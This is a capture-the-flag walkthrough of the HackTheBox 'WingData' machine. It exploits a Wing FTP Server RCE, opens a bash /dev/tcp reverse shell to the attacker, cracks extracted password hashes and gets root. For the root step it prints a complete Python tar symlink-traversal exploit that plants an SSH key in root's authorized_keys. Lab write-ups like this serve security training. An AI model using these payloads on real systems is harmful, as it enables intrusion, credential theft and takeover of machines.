WingData

Overview

Machine: WingData Platform: HackTheBox Difficulty: Easy OS: Linux

This machine focuses on exploiting a vulnerable FTP Server to gain initial access, followed by credential extraction and privilege escalation via a misconfigured sudo backup script.

Kill Chain

  1. Reconnaissance
  2. Enumeration
  3. Vulnerability Identification
  4. Exploiting the Vulnerability
  5. Credential Access
  6. Privilege Escalation

Needed Tools

Recon

  • Add the target IP address to the local /etc/hosts file.
echo "$IP wingdata.htb" | sudo tee -a /etc/hosts
  • Perform an Nmap scan to identify open ports and running services.
nmap -sV wingdata.htb

nmap nmap

Enumeration

  • Enumerated web directories using feroxbuster
feroxbuster --url http://wingdata.htb

feroxbuster feroxbuster

  • Identified virtual host via FFUF fuzzing, indicating host-header based routing on the target
ffuf -w /usr/share/wordlists/dnsmap.txt -u http://$wingdata_ip/ -H "Host: FUZZ.wingdata.htb" -fs 0 -fc 301

ffuf ffuf

  • Add discovered subdomain to /etc/hosts
echo "$IP wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts
  • Investigated the discovered FTP/web service hosted on the subdomain.
http://ftp.wingdata.htb
  • Run extended web enumeration with Feroxbuster.
feroxbuster --url http://ftp.wingdata.htb

Initial Access

  • Identify the running service version of the Wing FTP Server via the Webpage

Wing FTP Server Wing FTP Server

  • Confirm vulnerable version of Wing FTP Server (v7.4.3), which is affected by an unauthenticated RCE vulnerability (CVE-2025-47812)
  • Research known vulnerabilities and identify CVE-2025-47812.

nist nist

github github

  • Execute the POC and gather initial information
python3 CVE-2025-47812.py --url http://ftp.wingdata.htb -c 'whoami'

POC POC

  • Launch Metasploit and select the appropriate exploit module.
msfconsole
use exploit/multi/http/wingftp_null_byte_rce
set RHOSTS ftp.wingdata.htb
set PAYLOAD cmd/unix/reverse_bash
set LHOST $local_ip
set LPORT $local_port
run

msfconsole msfconsole

  • A basic TCP reverse shell was spawned to transition from command execution to an interactive session.
bash -c "bash -i >& /dev/tcp/$local_ip/$local_port 0>&1"
  • Enumerate file system and locate Wing FTP configuration files.

wacky_config wacky_config

  • Extracted user credentials from the configuration files
hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 1410

Wing FTP Server uses a static salt value (“WingFTP”) in its password hashing scheme, as evidenced by the extracted hash format and corroborated by the official documentation.

docs_wingdata docs_wingdata

$extracted_hash:WingFTP

The hash was successfully cracked using Hashcat (mode 1410), indicating a salted SHA-256 scheme rather than a raw hash format

  • SSH into the target as user wacky.
ssh wacky@wingdata.htb
  • Retrieve user flag
cat user.txt

Privilege escalation

  • Check allowed sudo permissions.
sudo -l

sudo_config sudo_config

  • Analyze script behavior
cat /opt/backup_clients/restore_backup_clients.py

The backup script allowed arbitrary archive processing as root, enabling symlink-based path traversal to write files outside the intended directory. This issue is caused by insecure handling of user-controlled TAR archives via tar.extractall() without enforcing proper path sanitization or restricting symbolic link resolution. Although the script performs strict validation on input parameters such as the backup filename and restore tag, the contents of the archive remain untrusted. By crafting malicious TAR structures, an attacker can exploit path traversal sequences and symbolic links to escape the extraction directory, resulting in arbitrary file write as root and ultimately enabling privilege escalation.

restore_script restore_script

The exploit targets the root SSH authorized_keys file, allowing persistent root access via a controlled SSH key.

#!/usr/bin/env python3

import tarfile
import io
import os
import sys
import argparse

# Constants for Linux
DIR_COMP_LEN = 247
CHAIN_STEPS = "abcdefghijklmnop"  # 16 levels
LONG_LINK_LEN = 254

def build_exploit_tar(tar_path, target_file, payload, file_mode=0o644):
    """
    Build a malicious TAR file for CVE-2025-4138
    """
    comp = "d" * DIR_COMP_LEN
    inner_path = ""
    
    with tarfile.open(tar_path, "w") as tar:
        # Stage 1: Chain of symlinks
        for step_char in CHAIN_STEPS:
            # Long directory
            d = tarfile.TarInfo(name=os.path.join(inner_path, comp))
            d.type = tarfile.DIRTYPE
            tar.addfile(d)
            
            # Short symlink → long directory
            s = tarfile.TarInfo(name=os.path.join(inner_path, step_char))
            s.type = tarfile.SYMTYPE
            s.linkname = comp
            tar.addfile(s)
            
            inner_path = os.path.join(inner_path, comp)
        
        # Stage 2: Pivot symlink (exceed PATH_MAX)
        short_chain = "/".join(CHAIN_STEPS)
        link_name = os.path.join(short_chain, "l" * LONG_LINK_LEN)
        
        pivot = tarfile.TarInfo(name=link_name)
        pivot.type = tarfile.SYMTYPE
        pivot.linkname = "../" * len(CHAIN_STEPS)
        tar.addfile(pivot)
        
        # Stage 3: Escape symlink
        target_dir = os.path.dirname(target_file)
        target_basename = os.path.basename(target_file)
        
        depth = 8
        escape_linkname = (
            link_name + "/" + ("../" * depth) + target_dir.lstrip("/")
        )
        
        esc = tarfile.TarInfo(name="escape")
        esc.type = tarfile.SYMTYPE
        esc.linkname = escape_linkname
        tar.addfile(esc)
        
        # Stage 4: Write payload
        payload_entry = tarfile.TarInfo(name=f"escape/{target_basename}")
        payload_entry.type = tarfile.REGTYPE
        payload_entry.size = len(payload)
        payload_entry.mode = file_mode
        payload_entry.uid = 0
        payload_entry.gid = 0
        tar.addfile(payload_entry, fileobj=io.BytesIO(payload))
    
    print(f"[+] Exploit tar: {tar_path}")
    print(f"[+] Target: {target_file}")
    print(f"[+] Payload size: {len(payload)} bytes")

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-4138 Exploit")
    parser.add_argument("--tar-out", "-o", required=True)
    parser.add_argument("--preset", "-p", choices=["ssh-key"])
    parser.add_argument("--payload", "-P", required=True)
    args = parser.parse_args()
    
    if args.preset == "ssh-key":
        target_file = "/root/.ssh/authorized_keys"
        file_mode = 0o600
        
        # Read SSH key
        with open(os.path.expanduser(args.payload), "rb") as f:
            payload = f.read()
        if not payload.endswith(b"\n"):
            payload += b"\n"
    
    build_exploit_tar(args.tar_out, target_file, payload, file_mode)

if __name__ == "__main__":
    main()
  • Create SSH Keypair for Root Connection
ssh-keygen -t ed25519 -f ~/.ssh/wingdata_key
  • Execute Exploit to gain Root Access
python3 test.py --preset ssh-key --payload ~/.ssh/wingdata_key.pub --tar-out backup_6969.tar

exploit_run exploit_run

  • Move malicious tarball to backup directory
mv backup_6969.tar /opt/backup_clients/backups/
  • Execute the Restore Script to Elevate Privileges
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_6969.tar -r restore_test

execute_restore_script execute_restore_script

  • SSH into localhost as root.
ssh root@127.0.0.1
  • Retrieve root flag
cat root.txt

Possible Mitigation

  • Patch Wing FTP Server
  • Avoid insecure credential storage and enforce strong password hashing
  • Harden sudo permissions
  • Secure privileged scripts